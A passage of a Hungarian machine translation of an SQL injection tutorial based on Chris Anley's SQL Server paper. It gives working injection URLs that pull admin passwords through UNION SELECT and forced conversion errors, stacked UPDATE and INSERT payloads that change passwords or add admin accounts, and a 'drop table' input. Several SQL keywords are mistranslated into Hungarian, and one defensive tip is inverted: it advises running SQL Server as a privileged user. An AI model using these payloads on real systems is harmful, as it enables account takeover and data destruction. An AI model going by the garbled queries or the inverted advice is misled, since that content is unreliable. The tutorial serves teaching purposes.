Szintaktikai hiba az nvarchar érték konvertálása közben "(! LANG: m4trix" to a column of data type int. !}
/index.asp, 5. sor

Mostantól "neo" néven tudunk majd bejelentkezni az "m4trix" jelszóval.

6.3 Hogyan kaphatom meg egy karakterlánc számértékét?

A fent leírt módszernek van egy korlátozása. Nem kaphatunk hibaüzenetet, ha olyan szöveget próbálunk meg konvertálni, amely számokból áll (csak 0 ... 9 közötti karakterek). Most leírjuk, hogyan lehet lekérni a "31173" jelszót a "trinity" felhasználótól:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 jelszó FROM admin_login ahol login_name = "trinity" -

Valószínűleg kapunk egy „Oldalt Nem található". Ennek az az oka, hogy a" 31173 "jelszó számmá alakul, az UNION előtt egy egész számmal (esetünkben 10). Mivel a megfelelő UNION kifejezést kapjuk, az SQL szerver nem ad hibaüzenetet, és így nem kaphatunk numerikus jelölést.

Ennek a problémának a megoldására hozzáadhatunk egy numerikus karakterláncot néhány betűvel a végéhez, hogy megakadályozzuk az átalakítást. Módosított lekérdezés:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 convert (int, jelszó% 2b "% 20morpheus") FROM admin_login ahol login_name = "trinity" -

Csak a pluszjelet (+) használjuk a jelszó tetszőleges szöveggel történő lezárásához (ASSCII kódolás a "+" = 0x2b esetén). Ezután hozzáadjuk a „% 20morpheus”-t a tényleges jelszó végéhez. Ezért még ha a jelszó értéke "31173", akkor is "31173 morpheus" lesz. A convert () függvény manuális meghívásával és a "31173 morpheus" egész számmá történő átalakításával az SQL Server ODBC hibaüzenetet ad ki:

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
Szintaktikai hiba az nvarchar érték konvertálásakor "(! LANG: 31173 morpheus" to a column of data type int. !}
/index.asp, 5. sor

Mostantól "trinity" néven tudunk majd bejelentkezni a "31173" jelszóval.

7.0 Hogyan lehet adatokat módosítani / beilleszteni az adatbázisba?

Miután megkaptuk a táblázat összes oszlopának nevét, megtehetjük frissítés (UPDATE) vagy akár beszúrás (INSERT) új bejegyzés az asztalhoz. Például megváltoztathatjuk a "neo" jelszavát:

http://duck/index.asp?id = 10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name = "neo--

Új rekord BEHELYEZÉSE az adatbázisba:

http://duck/index.asp?id = 10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") ÉRTÉKEK (666, "neo2", "newpas5", "NA") -

Mostantól "neo" néven tudunk majd bejelentkezni a "newpas5" jelszóval.

8.0 Hogyan kerüljük el az SQL-injekciót?

Szűrő Különleges szimbólumok az összes soron:

A felhasználó által megadott bármely adat
- URL paraméterek
- Aprósütemény

A numerikus értékeket konvertálja egész számmá, mielőtt átadná őket az SQL-lekérdezésnek. Vagy használja az ISNUMERIC-et, hogy megbizonyosodjon arról, hogy egész szám.

Futtassa az SQL Servert privilegizált felhasználóként.

Távolítsa el a nem használt tárolt eljárásokat: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Ez a munka Chris Anley Advanced SQL Injection In SQL Server Applications című művének egy részének fordítása. ()
A következő cikkekben, a rendelkezésre álló szabadidő függvényében, ez a fordítás elkészül.

P.S. A fordítás érdekesebb lesz oktatási és történelmi célokra.

Az eredeti cikk címe: Advanced SQL Injection in SQL Applications.

annotáció

Ez a cikk részletesen tárgyalja az „SQL injekció” általános módszereit egy ismert platformon Microsoft Internet Információs szerver / Active Server Pages / SQL Server. Megtárgyalja az SQL-befecskendezés különféle felhasználásait az alkalmazásokban, és elmagyarázza az adatok érvényesítésének és az adatbázisok biztonságossá tételének módszereit, ahol az injekció használható.

Bevezetés

A Structured Query Language (SQL) egy strukturált nyelv, amelyet az adatbázisokkal való interakcióra használnak. Az SQL nyelvnek számos „dialektusa” létezik, de manapság a legtöbbjük az SQL-92 szabványon, az egyik legkorábbi ANSI szabványon alapul. Az SQL fő működési blokkja egy lekérdezés, amely olyan kifejezések gyűjteménye, amelyek általában egy eredményhalmazt adnak vissza. Az SQL-kifejezések módosíthatják az adatbázisok szerkezetét (Data Definition Language (DLL) kifejezések használatával), és módosíthatják azok tartalmát (Data Manipulation Language (DML) kifejezések használatával). Ebben a cikkben a Microsoft SQL Serverben használt transact-SQL-t fogjuk megvizsgálni.

Az SQL-befecskendezés akkor lehetséges, ha a támadó beillesztheti saját SQL-jét egy lekérdezésbe, hogy manipulálja az alkalmazásnak küldött adatokat.

Egy tipikus SQL utasítás így néz ki:

Válassza ki a szerzők azonosítóját, utónevét, vezetéknevét

Ez a kifejezés a "szerzők" tábla oszlopaiból veszi az "id", "utónév" és "vezetéknév" értéket, és visszaadja a táblázat összes sorát. A kiválasztást egy bizonyos "szerző" korlátozhatja, például:

Válassza ki az azonosítót, utónevet, vezetéknevet olyan szerzők közül, ahol utónév = "john" és vezetéknév = "kovács"

Meg kell jegyezni, hogy ebben a lekérdezésben a karakterlánc-literálokat egyetlen idézőjel választja el. Feltételezzük, hogy az "utónév" és a "vezetéknév" a felhasználói bevitel. Ebben az esetben a támadó be tudja írni saját SQL-lekérdezését úgy, hogy saját értékeit adja hozzá az alkalmazáshoz. Például:

Keresztnév: jo "hn Vezetéknév: kovács

Ekkor a kifejezés a következő formában jelenik meg:

Válassza ki az azonosítót, utónevet, vezetéknevet olyan szerzők közül, ahol az utónév = "jo" hn "és a vezetéknév =" kovács "

Miután az adatbázis megpróbálja feldolgozni az ilyen kérést, a következő hibaüzenet jelenik meg:

Szerver: 170. üzenet, 15. szint, 1. állapot, 1. sor 1. sor: hibás szintaxis a "hn" közelében.

A hiba oka az lesz, hogy a beírt egyetlen idézőjel elrontja a lekérdezésben szereplő határolók szerkezetét. Így az adatbázis sikertelenül próbálja meg végrehajtani a "hn" parancsot, ami hibát eredményez. Ennek eredményeként, ha a támadó a következő információkat írja be az űrlapon:

Keresztnév: jo "; drop table authors-- Vezetéknév:

A "szerzők" táblázat kimarad, így később megnézzük, miért.

Azt gondolhatja, hogy ha eltávolítjuk az idézőjeleket a beviteli űrlapból, és "kicseréljük" azokat, az megoldhatja a problémát. És igaza lesz, azonban van néhány probléma, ha ezt a módszert használja a probléma megoldásaként. Először is, nem minden felhasználói bevitel "karakterlánc". Ahol az egyéni űrlap tartalmazza a szerző „azonosítóját”, ami általában egy szám. A kérésünk például így nézhet ki:

Válassza ki az azonosítót, utónevet, vezetéknevet a szerzők közül, ahol id = 1234

Ebben az esetben a támadó könnyedén hozzáadhat bármilyen SQL-utasítást a numerikus adatok után. Az SQL-lekérdezések más változataiban különböző elválasztójeleket használnak. Például a Microsoft Jet DBMS rendszerben a határoló jel "#". Másodszor, az idézetektől való „megszökés” semmiképpen sem a legegyszerűbb módja annak, hogy megvédje magát, ahogyan elsőre tűnhet. Erről a későbbiekben részletesebben szólunk.

Íme egy példa, amely egy Active Server Pages (ASP) bejelentkezési oldalon alapul, amely SQL-t használ az adatbázis eléréséhez, hogy engedélyezze a felhasználót egy alkalmazásban.

Itt található a bejelentkezési űrlapot tartalmazó oldal kódja, amelybe be kell írni a felhasználónevet és a jelszót.

Bejelentkezési oldal

Belépés

Felhasználónév:
Jelszó:

Alul látható a kód (process_login.asp), amely meghatározza a bevitt adatok helyességét.